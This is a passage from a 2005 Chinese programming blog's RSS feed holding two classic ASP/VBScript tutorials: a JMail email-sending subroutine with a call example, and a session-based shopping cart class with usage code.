<P>&nbsp; Sub SendAction(subject, mailaddress, email, sender, content, fromer) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Set jmail = Server.CreateObject("JMAIL.SMTPMail")&nbsp;&nbsp; '创建一个JMAIL对象<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmail.silent = true&nbsp;&nbsp; 'JMAIL不会抛出例外错误，返回的值为FALSE跟TRUE<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmail.logging = true&nbsp;&nbsp; '启用使用日志<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmail.Charset = "GB2312"&nbsp; '邮件文字的代码为简体中文<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmail.ContentType = "text/html"&nbsp; '邮件的格式为HTML的<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmail.ServerAddress = mailaddress&nbsp;&nbsp; '发送邮件的服务器<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmail.AddRecipient Email&nbsp;&nbsp;&nbsp; '邮件的收件人<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmail.SenderName = sender&nbsp;&nbsp; '邮件发送者的姓名<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmail.Sender = fromer&nbsp;&nbsp;&nbsp; '邮件发送者的邮件地址<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmail.Priority = 1&nbsp;&nbsp; '邮件的紧急程序，1 为最快，5 为最慢， 3 为默认值<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmail.Subject = subject&nbsp; '邮件的标题<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmail.Body = content&nbsp;&nbsp; '邮件的内容<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; '由于没有用到密抄跟抄送，这里屏蔽掉这两句，如果您有需要的话，可以在这里恢复<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 'jmail.AddRecipientBCC Email&nbsp;&nbsp; '密件收件人的地址<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 'jmail.AddRecipientCC Email&nbsp;&nbsp; '邮件抄送者的地址<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmail.Execute()&nbsp;&nbsp; '执行邮件发送<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmail.Close&nbsp;&nbsp;&nbsp; '关闭邮件对象<BR>&nbsp; End Sub<BR>&nbsp; <BR>&nbsp; '调用此Sub的例子<BR>&nbsp; Dim strSubject,strEmail,strMailAdress,strSender,strContent,strFromer<BR>&nbsp; strSubject&nbsp;&nbsp;&nbsp;&nbsp; = "这是一封用JMAIL发送的测试邮件"<BR>&nbsp; strContent&nbsp;&nbsp;&nbsp;&nbsp; = "JMail组件发送测试成功！"<BR>&nbsp; strEmail&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = "<A href="mailto:my@my.com">my@my.com</A>"<BR>&nbsp; strFromer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = "<A href="mailto:my@my.com">my@my.com</A>"<BR>&nbsp; strMailAddress = "mail.my.com"</P>
<P>&nbsp; Call SendAction (strSubject,strMailaddress,strEmail,strSender,strContent,strFromer)<BR>%&gt;<BR></P><img src ="http://www.blogjava.net/jackywjj/aggbug/16970.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/jackywjj/" target="_blank">jacky wu</a> 2005-10-27 10:14 <a href="http://www.blogjava.net/jackywjj/articles/16970.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>购物车类</title><link>http://www.blogjava.net/jackywjj/articles/7539.html</link><dc:creator>jacky wu</dc:creator><author>jacky wu</author><pubDate>Tue, 12 Jul 2005 04:56:00 GMT</pubDate><guid>http://www.blogjava.net/jackywjj/articles/7539.html</guid><wfw:comment>http://www.blogjava.net/jackywjj/comments/7539.html</wfw:comment><comments>http://www.blogjava.net/jackywjj/articles/7539.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/jackywjj/comments/commentRss/7539.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/jackywjj/services/trackbacks/7539.html</trackback:ping><description><![CDATA[<P><STRONG><FONT style="BACKGROUND-COLOR: #ffffff" color=#006400>castclass.asp</FONT></STRONG></P>
<P>&lt;%<BR>Class ShopBag</P>
<P>&nbsp;'放商品的空间<BR>&nbsp;Private ProSpace</P>
<P>&nbsp;'商品信息个数<BR>&nbsp;Private ItemsCout</P>
<P><BR>'=============================================================<BR>'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 共有的<BR>'=============================================================</P>
<P>&nbsp;'方法名:PutAPro<BR>&nbsp;'参数:一个存有商品信息的数组--ProData<BR>&nbsp;'作用:将一个商品放入购物车<BR>&nbsp;'返回值： <BR>&nbsp;'成功放入商品，返回true<BR>&nbsp;'商品存在,返回false&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;Public Function PutAPro(ByRef ProData)<BR>&nbsp;'size:'最后一个<BR>&nbsp;dim size,result,flag<BR>&nbsp;ItemsCout = ubound(ProData)&nbsp; '商品信息个数<BR>&nbsp;GetPro</P>
<P>&nbsp;if CreateSpace then<BR>&nbsp;'有商品需要检测商品是否存在<BR>&nbsp;MyPrint "有商品需要检测商品是否存在"<BR>&nbsp;&nbsp;flag = CheckProExists(ProData(0))&nbsp;<BR>&nbsp;else<BR>&nbsp;&nbsp;flag = false '购物车没有商品<BR>&nbsp;&nbsp;MyPrint "购物车没有商品"<BR>&nbsp;end if</P>
<P>&nbsp;if not flag then</P>
<P>&nbsp;&nbsp;&nbsp;size = Ubound(ProSpace)</P>
<P>&nbsp;&nbsp;&nbsp;for i = 0 to ItemsCout<BR>&nbsp;&nbsp;&nbsp; ProSpace(size,i) = ProData(i)<BR>&nbsp;&nbsp;&nbsp;next<BR>&nbsp;&nbsp;&nbsp;MyPrint "放入一个商品....&lt;br&gt;"<BR>&nbsp;&nbsp;&nbsp;SavePro<BR>&nbsp;&nbsp;&nbsp;result = true <BR>&nbsp;else<BR>&nbsp;result = false<BR>&nbsp;end if</P>
<P>&nbsp;PutAPro = result&nbsp;&nbsp;<BR>&nbsp;End Function<BR>&nbsp;'----------------------------------------------<BR>&nbsp;</P>
<P>&nbsp;'得到所有商品<BR>&nbsp;Public Function GetAllPro(ByRef ProList)<BR>&nbsp;&nbsp;ProList&nbsp; = Session("ProID")<BR>&nbsp;End Function<BR>&nbsp;'----------------------------------------------</P>
<P>&nbsp;'更新产品个数<BR>&nbsp;Public Function UpdatePro(ByRef ProNumList)</P>
<P>&nbsp;dim ProNumData<BR>&nbsp;GetPro<BR>&nbsp;&nbsp;ProNumData = split(ProNumList,",")</P>
<P>&nbsp;&nbsp;for i =0 to Ubound(ProNumData)<BR>&nbsp;&nbsp;&nbsp;ProSpace(i,3) = Cint(trim(ProNumData(i)))<BR>&nbsp;&nbsp;next&nbsp;&nbsp;<BR>&nbsp;SavePro<BR>&nbsp;MyPrint "更新了所有商品个数"<BR>&nbsp;End Function</P>
<P><BR>&nbsp;'删除一个商品 <BR>&nbsp;Public Function DeleteAPro(id)<BR>&nbsp;MyPrint "准备删除一个商品"<BR>&nbsp;dim count<BR>&nbsp;GetPro<BR>&nbsp;count = UBound(ProSpace)<BR>&nbsp;<BR>&nbsp;if count=0 then<BR>&nbsp;MyPrint "商品已经是最后一个了, 将session设为null"<BR>&nbsp;&nbsp;Session("ProID") = null<BR>&nbsp;else<BR>&nbsp;&nbsp;redim tempAr(count-1,3)<BR>&nbsp;&nbsp;&nbsp;MyPrint "开始查找要删除的商品id..."<BR>&nbsp;&nbsp;&nbsp;for i = 0 to count<BR>&nbsp;&nbsp;&nbsp;&nbsp;if Cint(ProSpace(i,0)) = Cint(id) then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MyPrint "找到ID,删除!"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for j=i to count-1<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ProSpace(j,0) = ProSpace(j+1,0)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ProSpace(j,1) = ProSpace(j+1,1)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ProSpace(j,2) = ProSpace(j+1,2)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ProSpace(j,3) = ProSpace(j+1,3)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;next</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit for<BR>&nbsp;&nbsp;&nbsp;&nbsp;end if<BR>&nbsp;&nbsp;&nbsp;next</P>
<P>&nbsp;&nbsp;&nbsp;for i = 0 to count-1<BR>&nbsp;&nbsp;&nbsp;&nbsp;tempAr(i,0) = ProSpace(i,0)<BR>&nbsp;&nbsp;&nbsp;&nbsp;tempAr(i,1) = ProSpace(i,1)<BR>&nbsp;&nbsp;&nbsp;&nbsp;tempAr(i,2) = ProSpace(i,2)<BR>&nbsp;&nbsp;&nbsp;&nbsp;tempAr(i,3) = ProSpace(i,3)<BR>&nbsp;&nbsp;&nbsp;next&nbsp;<BR>&nbsp;&nbsp;&nbsp;Session("ProID") = tempAr<BR>&nbsp;&nbsp;end if<BR>&nbsp;&nbsp;<BR>&nbsp;End Function<BR>&nbsp;'---------------------------------------------<BR>&nbsp;<BR>&nbsp;'得到商品的某项信息列表 ， 号隔开<BR>&nbsp;Public Function GetProList(n)<BR>&nbsp;dim result<BR>&nbsp;&nbsp;GetPro<BR>&nbsp;&nbsp;if isnull(ProSpace) then<BR>&nbsp;&nbsp;&nbsp;result = null<BR>&nbsp;&nbsp;else<BR>&nbsp;&nbsp;&nbsp;for i =0 to ubound(ProSpace) <BR>&nbsp;&nbsp;&nbsp;&nbsp;if i = 0 then<BR>&nbsp;&nbsp;&nbsp;&nbsp; result = ProSpace(i,n)<BR>&nbsp;&nbsp;&nbsp;&nbsp;else<BR>&nbsp;&nbsp;&nbsp;&nbsp; result =result&amp;","&amp;ProSpace(i,n)<BR>&nbsp;&nbsp;&nbsp;&nbsp;end if<BR>&nbsp;&nbsp;next<BR>&nbsp;&nbsp;end if&nbsp;<BR>&nbsp;&nbsp;KillMe<BR>&nbsp;GetProList = result<BR>&nbsp;End Function</P>
<P>'==================================================================</P>
<P>&nbsp;</P>
<P>'=================================================================<BR>'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 私有的<BR>'=================================================================<BR>&nbsp;'检测商品是否已经存在<BR>&nbsp;'存 在 返回&nbsp; true<BR>&nbsp;'不存在返回 false<BR>&nbsp;Private Function CheckProExists(ProID)<BR>&nbsp;MyPrint "检测商品是否存在?&lt;br&gt;"<BR>&nbsp;dim result<BR>&nbsp;&nbsp;result = false </P>
<P>&nbsp;&nbsp;for i = 0 to&nbsp; Ubound(ProSpace)<BR>&nbsp;&nbsp;&nbsp;if Cint(ProSpace(i,0)) = Cint(ProID) then <BR>&nbsp;&nbsp;&nbsp;&nbsp;result = true<BR>&nbsp;&nbsp;&nbsp;End if<BR>&nbsp;&nbsp;next<BR>&nbsp;CheckProExists = result<BR>&nbsp;End Function<BR>&nbsp;'------------------------------------------------</P>
<P>&nbsp;'作用:<BR>&nbsp;'开辟存放物品的空间<BR>&nbsp;'返回值:<BR>&nbsp;'新开大小返回 false<BR>&nbsp;'重构空间大小返回 true<BR>&nbsp;Private Function CreateSpace()<BR>&nbsp;dim result<BR>&nbsp;MyPrint "开始开辟空间...&lt;br&gt;"<BR>&nbsp;&nbsp;'ReSize: 空间大小<BR>&nbsp;&nbsp;dim ReSize</P>
<P>&nbsp;&nbsp;'计算需要空间大小<BR>&nbsp;&nbsp;if isarray(ProSpace) then '已经有商品了<BR>&nbsp;&nbsp;&nbsp;MyPrint "已有空间,需要重构空间大小!&lt;br&gt;"<BR>&nbsp;&nbsp;&nbsp;ReSize = UBound(ProSpace)+1 <BR>&nbsp;&nbsp;&nbsp;MyRedim ProSpace,ReSize<BR>&nbsp;&nbsp;&nbsp;result&nbsp; = true<BR>&nbsp;&nbsp;&nbsp;MyPrint "重构了空间大小=+1...&lt;br&gt;"<BR>&nbsp;&nbsp;else&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;redim ProSpace(0,ItemsCout)<BR>&nbsp;&nbsp;&nbsp;result&nbsp; = false<BR>&nbsp;&nbsp;&nbsp;MyPrint "没有空间,开辟!...&lt;br&gt;"<BR>&nbsp;&nbsp;End if&nbsp;&nbsp;<BR>&nbsp;CreateSpace = result<BR>&nbsp;End Function<BR>&nbsp;'----------------------------------------------<BR>&nbsp;<BR>&nbsp;'重新构造一个数组<BR>&nbsp;private Function MyRedim(byRef aArray,ByVal Size)<BR>&nbsp;&nbsp;MyPrint "开始重构空间大小...&lt;br&gt;"<BR>&nbsp;&nbsp;&nbsp;redim TmpArray(Size,ItemsCout)<BR>&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;'备份信息<BR>&nbsp;&nbsp;&nbsp;for i = 0 to Ubound(aArray)<BR>&nbsp;&nbsp;&nbsp;&nbsp;for j =0 to ItemsCout<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TmpArray(i,j) = aArray(i,j)<BR>&nbsp;&nbsp;&nbsp;&nbsp;next<BR>&nbsp;&nbsp;&nbsp;next<BR>&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;redim aArray(Size,ItemsCout)</P>
<P>&nbsp;&nbsp;&nbsp;'还原信息<BR>&nbsp;&nbsp;&nbsp;for j = 0 to ubound(TmpArray) <BR>&nbsp;&nbsp;&nbsp;&nbsp;for k =0 to ItemsCout<BR>&nbsp;&nbsp;&nbsp;&nbsp;aArray(j,k) = TmpArray(j,k)<BR>&nbsp;&nbsp;&nbsp;&nbsp;next<BR>&nbsp;&nbsp;&nbsp;next</P>
<P>&nbsp;End Function<BR>&nbsp;'-----------------------------------------------</P>
<P><BR>&nbsp;'保存商品<BR>&nbsp;Private Function SavePro<BR>&nbsp;&nbsp;Session("ProID") = ProSpace<BR>&nbsp;&nbsp;MyPrint "保存购物车....&lt;br&gt;"&nbsp;<BR>&nbsp;&nbsp;KillMe<BR>&nbsp;&nbsp;MyPrint "释放了空间..&lt;br&gt;"<BR>&nbsp;End Function<BR>&nbsp;'----------------------------------------------<BR>&nbsp;<BR>&nbsp;'从Session中取出商品<BR>&nbsp;Private Function GetPro<BR>&nbsp;&nbsp;ProSpace = Session("ProID")<BR>&nbsp;&nbsp;MyPrint "将Session中的商品放入了购物车....&lt;br&gt;"<BR>&nbsp;End Function<BR>&nbsp;'----------------------------------------------<BR>&nbsp;</P>
<P>&nbsp;'释放空间<BR>&nbsp;private Function KillMe<BR>&nbsp;&nbsp;ProSpace = null<BR>&nbsp;End Function<BR>&nbsp;'----------------------------------------------<BR>End Class<BR>%&gt;</P>
<P><FONT color=#006400>使用:</FONT></P>
<P>&nbsp;</P>
<P>&lt;!--#include file="CastClass.asp"--&gt;<BR>&lt;%</P>
<P>'显示操作过程 <BR>Function MyPrint(str)<BR>&nbsp;Response.write str<BR>End Function</P>
<P>dim aShowBag,ProData,ProList</P>
<P><BR>ProData = Array(1,"ProName","ProPrice","ProNum")</P>
<P><BR>set aShowBag = new ShopBag</P>
<P>&nbsp;state = aShowBag.PutAPro(ProData) '放入一个商品<BR>&nbsp;ProData= null<BR>&nbsp;aShowBag.GetAllPro ProList</P>
<P>&nbsp;if state then<BR>&nbsp;&nbsp;Response.Write "放入一个商品&lt;br&gt;"<BR>&nbsp;else<BR>&nbsp;&nbsp;Response.Write "商品已经存在&lt;br&gt;"<BR>&nbsp;end if<BR>Set ShowBag = nothing</P>
<P>if isarray(ProList) then<BR>&nbsp;for i = 0 to ubound(ProList)<BR>&nbsp;&nbsp;for j =0 to 3<BR>&nbsp;&nbsp;&nbsp;Response.Write ProList(i,j)&amp;"=="<BR>&nbsp;&nbsp;next<BR>&nbsp;&nbsp;Response.Write "&lt;br&gt;============&lt;br&gt;"<BR>&nbsp;next<BR>else<BR>Response.write "没有商品"<BR>End If</P>
<P>%&gt;</P><img src ="http://www.blogjava.net/jackywjj/aggbug/7539.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/jackywjj/" target="_blank">jacky wu</a> 2005-07-12 12:56 <a href="http://www.blogjava.net/jackywjj/articles/7539.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>